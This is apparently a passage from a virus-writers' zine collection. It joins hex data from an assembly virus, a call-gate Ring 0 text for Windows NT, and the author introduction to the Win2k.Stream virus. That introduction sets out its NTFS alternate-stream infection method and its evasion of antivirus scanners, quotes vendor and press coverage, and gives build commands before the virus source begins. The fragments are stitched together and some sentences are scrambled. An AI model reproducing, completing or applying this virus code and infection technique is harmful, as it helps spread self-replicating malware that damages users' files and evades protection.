000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,088H,00CH,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,0D4H,00DH,000H,000H,0B8H,00CH,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,064H 00DH,000H,000H,0F4H,00CH,000H,000H,000H,00DH,000H,000H,01CH,00DH,000H,000H 034H,00DH,000H,000H,052H,00DH,000H,000H,0E8H,00CH,000H,000H,07CH,00DH,000H 000H,094H,00DH,000H,000H,0A6H,00DH,000H,000H,0BCH,00DH,000H,000H,000H,000H 000H,000H,064H,00DH,000H,000H,0F4H,00CH,000H,000H,000H,00DH,000H,000H,01CH 00DH,000H,000H,034H,00DH,000H,000H,052H,00DH,000H,000H,0E8H,00CH,000H,000H 07CH,00DH,000H,000H,094H,00DH,000H,000H,0A6H,00DH,000H,000H,0BCH,00DH,000H 000H,000H,000H,000H,000H,023H,000H,044H,062H,067H,050H,072H,069H,06EH,074H 000H,000H,04BH,003H,076H,073H,070H,072H,069H,06EH,074H,066H,000H,000H,038H 001H,04BH,065H,049H,033H,038H,036H,052H,065H,06CH,065H,061H,073H,065H,047H 064H,074H,053H,065H,06CH,065H,063H,074H,06FH,072H,073H,000H,03AH,001H,04BH 065H,049H,033H,038H,036H,053H,065H,074H,047H,064H,074H,053H,065H,06CH,065H 063H,074H,06FH,072H,000H,000H,033H,001H,04BH,065H,049H,033H,038H,036H,041H 06CH,06CH,06FH,063H,061H,074H,065H,047H,064H,074H,053H,065H,06CH,065H,063H 074H,06FH,072H,073H,000H,000H,0D5H,000H,049H,06FH,044H,065H,06CH,065H,074H 065H,044H,065H,076H,069H,063H,065H,000H,000H,0D1H,000H,049H,06FH,043H,072H 065H,061H,074H,065H,053H,079H,06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH 06BH,000H,000H,068H,002H,052H,074H,06CH,049H,06EH,069H,074H,055H,06EH,069H 063H,06FH,064H,065H,053H,074H,072H,069H,06EH,067H,000H,000H,0CEH,000H,049H 06FH,043H,072H,065H,061H,074H,065H,044H,065H,076H,069H,063H,065H,000H,000H 016H,001H,049H,06FH,066H,043H,06FH,06DH,070H,06CH,065H,074H,065H,052H,065H 071H,075H,065H,073H,074H,000H,000H,0D6H,000H,049H,06FH,044H,065H,06CH,065H 074H,065H,053H,079H,06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH,06BH,000H 000H,06EH,074H,06FH,073H,06BH,072H,06EH,06CH,02EH,065H,078H,065H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,088H,000H,000H,000H,07BH,032H,085H,032H,093H,032H,0B6H 032H,0C1H,032H,0DFH,032H,0EAH,032H,0F2H,032H,0FAH,032H,002H,033H,00BH,033H 012H,033H,019H,033H,020H,033H,026H,033H,02CH,033H,033H,033H,041H,033H,048H 033H,04FH,033H,058H,033H,05FH,033H,068H,033H,070H,033H,075H,033H,07BH,033H 085H,033H,08BH,033H,096H,033H,09DH,033H,0A5H,033H,0AEH,033H,0C0H,033H,0CFH 033H,0D6H,033H,0E7H,033H,0FBH,033H,02CH,034H,038H,034H,059H,034H,06DH,034H 07AH,034H,094H,034H,0B0H,034H,0C4H,034H,0D2H,034H,0DDH,034H,0EAH,034H,0F9H 034H,00DH,035H,04CH,035H,05BH,035H,06AH,035H,088H,035H,0A6H,035H,0C8H,035H 0DCH,035H,0F7H,035H,00CH,036H,016H,036H,022H,036H,027H,036H,03EH,036H,044H 036H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,001H,000H,000H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,010H,001H,000H,000H,000H,000H,007H,000H,063H,061H,06CH,06CH,067H,061H 074H,065H,02EH,044H,042H,047H,000H,038H,036H,05CH,066H,072H,065H,065H,05CH 063H,061H,06CH,06CH,067H,061H,074H,065H,02EH,073H,079H,073H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,074H 002H,000H,000H,032H,000H,000H,000H,000H,000H,000H,000H,001H,000H,005H,001H 01CH,005H,000H,000H,0CDH,000H,000H,000H,000H,000H,000H,000H,002H,000H,00AH 014H

copyrisgt

DB '/// ADONAI VIRUS '

MACROSIZE DB ' CODED BY HenKy IN SPAIN \\\',0

align 4 FILE_END APIaddresses: CreateFile CloseHandle FindFirstFile FindNextFile ReadFile MapViewOfFile UnmapViewOfFile CreateFileMappingA LoadLibraryA FreeLibraryA WriteFileA DeleteFileA GPA SearcHandle FileHandle NewSize MapHandle MapAddress BYTES FILETIME FT_dwLowDateTime FT_dwHighDateTime FILETIME DD DD DD DD DD DD DD DD DD DD DD DD DD DD DD DD DD DD DD LABEL BYTE

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 STRUC DD DD ENDS ? ?

Win32FindData: WFD_dwFileAttributes WFD_ftCreationTime WFD_ftLastAccessTime WFD_ftLastWriteTime WFD_nFileSizeHigh WFD_nFileSizeLow WFD_dwReserved0 WFD_dwReserved1 FNAME WFD_szAlternateFileName DD ? FILETIME ? FILETIME ? FILETIME ? DD ? DD ? DD ? DD ? DB MAX_PATH DUP (?) DB 13 DUP (?) DB 03 DUP (?) DB 0100h dup (0)

align 4

MEM_END EXITPROC:

LABEL BYTE

PUSH 0 CALL ExitProcess ENDS END MEGAMIX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ADONAI.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CALLGATE.TXT]ÄÄÄ Run any Ring 0 code from a WIN32 application on Windows NT ----------------------------------------------------------Copyright (C) 1997 Prasad Dabak & Sandeep Phadke & Milind Borate Background ---------Callgate is a mechanism of controlled ring transfers (privilege level transfers) on INTEL processors. There are ways to implement callgate mechanism under Windows 3.1 and Windows 95. Refer to MSDN articles 'Run Privileged Code from Your Windows-based Programs Using Call Gates' by Matt Pietrek (MSJ May 1993) for Win3.1 implementation. Refer to PHYS program in Matt Pietrek's excellent "Windows 95 System Programming Secrets". We are providing here an equivalent mechanism under Windows NT 3.51 and 4.0. We provide the reader with an API, driver and a DLL to directly try out this mechanism. This is the best known mechanism to execute privileged instructions WITHOUT having to write a NT kernel mode device driver. You can directly link with our general purpose DLL and execute Ring 0 code. Implementation -------------There are a lot of undocumented functions in the core NT component NTOSKRNL.EXE. Using some of these functions we have provided a mechanism for creating callgates under Windows NT. The implementation consists of a kernel mode device driver CALLGATE.SYS and a wrapper DLL CALLGATE.DLL. Using the functions from CALLGATE.DLL, one can create a callgate and execute any Ring 0 code from a WIN32 application. The prototypes for the functions exported by CALLGATE.DLL are

given in GATE.H header file. We have provided a sample application which uses this DLL to create callgate and get the contents of the CPU control registers like CR0, CR2, CR3 from a WIN32 application. It also demonstrates how direct port I/O can be done using this trick. The sample program provided, beeps by outputting data on the sound port. The function which is called through a callgate is written in assembly language, since the standard 32-bit compiler does not generate the stack frame required for such a function. The function called through a callgate is called by a far call. Therefore the parameters to the functions starts from ESP+8. The standard 32-bit compiler generates the code which expects the parameters to start from ESP+4. Also in this case, you have to make a far return, whereas standard 32-bit compiler generates a near return instruction. You can find the details about this in Matt Pietrek's excellent book, "Windows 95 System Programming Secrets", Chapter 5, page numbers 301, 302 (Cool stuff in the PHYS program). Note that CALLGATE.SYS and CALLGATE.DLL have to be present in the same directory as that of the application using CALLGATE.DLL, since CALLGATE.DLL forms the complete path of the driver by getting the current directory of the application. The source code for CALLGATE.DLL and CALLGATE.SYS will be presented in our forthcoming book "Undocumented Windows NT" by O'Reilly Associates. *****NOTE: You have to extremely cautious when writing the function which is to be called through a callgate. A small mistake can easily crash your NT machine. We are NOT responsible for any data loss caused due to the use of this trick.********* Using sample program -------------------1. 2. 3. 4. Copy CALLGATE.ZIP on to your local drive in some directory. Unzip the file using 'PKUNZIP -d CALLGATE.ZIP' Change to Release directory. Run cgateapp.exe which will display the contents of CR0, CR2, CR3 registers and beeps by doing direct port I/O to the sound device.

Compiling the source code ------------------------We have provided the source code for a sample application which uses the CALLGATE.DLL API for creating callgates. The source code is compiled using MSVC 4.0. The function called through callgate is present in RING0.ASM file. The RING0.ASM is assembled using ML.EXE from NT DDK. How to Contact us ----------------Prasad : pdabak@cyberspace.org Sandeep : sandeep@giaspn01.vsnl.net.in Milind : milind@cyberspace.org ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CALLGATE.TXT]ÄÄÄ

COMMENT# ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Win2k.Stream ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ by Benny/29A and Ratter ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Let us introduce very small and simple infector presenting how to use features of NTFS in viruses. This virus loox like standard Petite-compressed PE file. However, it presents the newest way of PE file infecting method. How the virus worx? It uses streamz, the newest feature of NTFS filesystem and file compression, already implemented in old NTFS fs.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Basic principles of NTFS streamz ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ How the file loox? Ya know that the file contains exactly the same what you can see when you will open it (e.g. in WinCommander). NTFS, implemented by Windows 2000, has new feature - the file can be divided to streamz. The content what you can see when you will open the file is called Primary stream - usually files haven't more than one stream. However, you can create NEW stream ( = new content) in already existing file without overwritting the content. Example: addressing of primary stream -> <filename> e.g. "calc.exe" addressing of other streamz -> <filename>:<stream name> e.g. "calc.exe:stream" If you have NTFS, you can test it. Copy to then create new file "calc.exe:stream" and "calc.exe". Whats there? Calculator ofcoz. there? "blahblah", the new file in the old NTFS for instance "calc.exe", and write there "blahblah". Open Now open "calc.exe:stream". Whats one :)

Can you imagine how useful r streamz for virus coding? The virus infects file by moving the old content to the new stream and replacing the primary stream with virus code. File (calc.exe) before infection: ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄPrimary stream (visible part)Ä¿º º³ Calculator ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ File (calc.exe) after infection: ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄPrimary stream (calc.exe)Ä¿ÚÄNext stream (calc.exe:STR)Ä¿ º º³ Virus ³³ Calculator ³ º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Simple and efficent, ain't it?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Details of virus ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ * * The virus infects all EXE files in actual directory. The virus uses as already-infected mark file compression. All infected files are compressed by NTFS and virus then does not infect already compressed files. Well, almost all files after infection r smaller than before, so user won't recognize virus by checking free disk space :) If user will copy the infected file to non-NTFS partition (in this case only primary stream is copied), the host program will be destroyed and instead of running host program virus will show message box. That can be also called as payload :P The virus is very small, exactly 3628 bytes, becoz it's compressed by Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/). The disinfection is very easy - just copy the content of <file>:STR to <file> and delete <file>:STR. If you want to create sample of infected file, then just copy the virus to some file and copy any program (host program) to <file>:STR. Thats all! However, AVerz have to rebuild their search engine to remove this virus, becoz until now, they had no fucking idea what are streamz :) This virus was coded in Czech Republic by Benny/29A and Ratter, on our common VX meeting at Ratter's city... we just coded it to show that Windows 2000 is just another OS designed for viruses... it really is :) We would like to thank GriYo for pointing us to NTFS new features. The fame is also yourz, friend!

*

*

*

*

*

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ In the media ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

AVP's description: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is the first known Windows virus using the "stream companion" infection method. That method is based on an NTFS feature that allows to create multiple data streams associated with a file. *NTFS Streams* --------------Each file contains at least one default data stream that is accessed just by the file name. Each file may also contain additional stream(s) that can be accessed by their personal names (filename:streamname). The default file stream is the file body itself (in pre-NTFS terms). For instance, when an EXE file is executed the program is read from the default file stream; when a document is opened, its content is also read from the default stream. Additional file streams may contain any data. The streams cannot be accessed or modified without reference to the file. When the file is deleted, its streams are deleted as well; if the file is renamed, the streams follow its new name. In the Windows package there is no standard tool to view/edit file streams. To

"manually" view file streams you need to use special utilities, for instance the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file streams for selected file). *Virus Details* ---------------The virus itself is a Windows application (PE EXE file) compressed using the Petite PE EXE file compressor and is about 4K in size. When run it infects all EXE files in the current directory and then returns control to the host file. If any error occurs, the virus displays the message: Win2k.Stream by Benny/29A & Ratter This cell has been infected by [Win2k.Stream] virus! While infecting a file the virus creates a new stream associated with the victim file. That stream has the name "STR", i.e. the complete stream name is "FileName:STR". The virus then moves the victim file body to the STR stream (default stream, see above) and then overwrites the victim file body (default stream) with its (virus) code. As a result, when an infected file is executed Windows reads the default stream (which is overwritten by virus code) and executes it. Also, Windows reports the same file size for all infected files - that is the virus length. To release control to the host program the virus just creates a new process by accessing the original file program using the name "FileName:STR". That infection method should work on any NTFS system, but the virus checks the system version and runs only under Win2000.

AVP's press release: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ *A New Generation of Windows 2000 Viruses is Streaming Towards PC Users* -----------------------------------------------------------------------Moscow, Russia, September 4, 2000 – Kaspersky Lab announces the discovery of W2K.Stream virus, which represents a new generation of malicious programs for Windows 2000. This virus uses a new breakthrough technology based on the "Stream Companion" method for self-embedding into the NTFS file system. The virus originates from the Czech Republic and was created at the end of August by the hackers going by the pseudonyms of Benny and Ratter. To date, Kaspersky Lab has not registered any infections resulting from this virus; however, its working capacity and ability for existence "in-the-wild" are unchallenged. "Certainly, this virus begins a new era in computer virus creation," said Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The ’Stream Companion’ technology the virus uses to plant itself into files makes its detection and disinfection extremely difficult to complete.” Unlike previously known methods of file infection (adding the virus body at beginning, ending or any other part of a host file), the "Stream" virus exploits the NTFS file system (Windows NT/2000) feature, which allows multiple data streams. For instance, in Windows 95/98 (FAT) files, there is only one data stream – the program code itself. Windows NT/2000 (NTFS) enables users to create any number of data streams within the file: independent executable program modules, as well as various service streams (file access rights, encryption data, processing time etc.). This makes NTFS files very flexible, allowing for the creation of user-defined data streams aimed at completing

specific tasks. "Stream" is the first known virus that uses the feature of creating multiple data streams for infecting files of the NTFS file system (see picture 1). To complete this, the virus creates an additional data stream named "STR" and moves the original content of the host program there. Then, it replaces the main data stream with the virus code. As a result, when the infected program is run, the virus takes control, completes the replicating procedure and then passes control to the host program. *"Stream" file infection procedure* -----------------------------------File before infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³±±±±±±±±±±±±±±±±±±±³ ³±±service streams±±³ ³±±±±±±±±±±±±±±±±±±±³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ File after infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³ ³°°° virus body°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³ ³°°°program body°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³±±±±±±±±±±±±±±±±±±±³ ³±±service streams±±³ ³±±±±±±±±±±±±±±±±±±±³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

"By default, anti-virus programs check only the main data stream. There will be no problems protecting users from this particular virus," Eugene Kaspersky continues. "However, the viruses can move to additional data streams. In this case, many anti-virus products will become obsolete, and their vendors will be forced to urgently redesign their anti-virus engines."

In MSNBC's news: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ *New trick can hide computer viruses* *But experts question danger posed by ‘Stream’ technology* ----------------------------------------------------------Sept. 6 — A new kind of computer virus has been released, but security experts are in disagreement over just how menacing it is. The virus demonstrates a technique that future writers can use to hide their malicious software from most current antivirus scanners. But some antivirus companies are playing down the threat. THE VIRUS, CALLED W2K.STREAM, poses little threat — it was written as a relatively benign “proof of concept.” But, according to a source who requested anonymity, it was posted on several virus writer Web sites over Labor Day weekend — making copycats possible. The virus takes advantage of a little-used feature included in Windows 2000 and older Windows NT systems that allows programs to be split into pieces called streams. Generally, the body of a program resides in the main stream. But other streams can be created to store information related to what’s in the main stream. Joel Scambray, author of “Hacking Exposed,” described these additional streams as “Post-it notes” attached to the main file.

The problem is that antivirus programs only examine the main stream. W2K.Stream demonstrates a programmer’s ability to create an additional stream and hide malicious code there. “Certainly, this virus begins a new era in computer virus creation,” said Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press release. “The ‘Stream Companion’ technology the virus uses to plant itself into files makes its detection and disinfection extremely difficult to complete.” *THIS BUG ISN’T DANGEROUS* --------------------------No W2K.stream infections have been reported, and experts don’t believe the virus is “in the wild” — circulating on the Internet — yet. At any rate, this virus actually makes things easy for antivirus companies. If a user is infected, the program creates an alternate stream and places the legitimate file in this alternate location; the virus replaces it as the main stream. That makes detection by current antivirus products easy. But future viruses could do just the opposite, evading current antivirus products. One antivirus researcher who requested anonymity called release of the bug “somewhat akin to the first macro virus.” He added that reengineering antivirus software to scan for multiple streams would be a complicated effort. “In this case, many anti-virus products will become obsolete, and their vendors will be forced to urgently redesign their anti-virus engines,” Kaspersky said. *AN OLD ISSUE* --------------There is nothing new about the potential of exploiting the multiple stream issue; Scambray hints at the problem in the book “Hacking Exposed,” and described it even more explicitly in a 1998 Infoworld.com article. The SANS Institute, a group of security researchers, issued an “alert” criticizing antivirus companies for not updating their products to scan the contents of any file stream earlier. “We found that the scanners were incapable of identifying viruses stored within an alternate data stream,” the report said. “For example if you create the file MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within the alternate data stream file, none of the tested virus scanners were capable of finding the virus during a complete disk scan.” But some antivirus companies described the threat as minimal because the alternate stream trick only hides the bug while it’s stored on a victim’s computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp., said for the virus to actually run, it has to come out of hiding and load into main memory. “It would be detected as it tried to activate,” Palomaki said. “But this signifies importance of real-time protection.” He added the virus would still have to find its way onto a victim’s computer; and that victim would have to be tricked into installing the virus using one of the traditional methods, such as clicking on an infected e-mail attachment. “It could increase the ability to for scanners to miss something,” said Pat Nolan, virus researcher at McAfee Corp. “But we’re on top of it. If there is a vulnerability, it will be short-lived.”

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ How to compile it? ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/). tasm32 /ml /m9 /q stream tlink32 -Tpe -c -x -aa stream,,,import32 pewrsec stream.exe petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe

And here comes the virus source... #

.586p .model

flat,stdcall

include win32api.inc include useful.inc extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn ExitProcess:PROC VirtualFree:PROC FindFirstFileA:PROC FindNextFileA:PROC FindClose:PROC WinExec:PROC GetCommandLineA:PROC GetModuleFileNameA:PROC DeleteFileA:PROC ReadFile:PROC CopyFileA:PROC WriteFile:PROC CreateFileA:PROC CloseHandle:PROC MessageBoxA:PROC GetFileSize:PROC VirtualAlloc:PROC DeviceIoControl:PROC GetFileAttributesA:PROC GetTempFileNameA:PROC CreateProcessA:PROC GetVersion:PROC

;include filez

;used APIz

FSCTL_SET_COMPRESSION

equ 9 shl 16 or 3 shl 14 or 16 shl 2

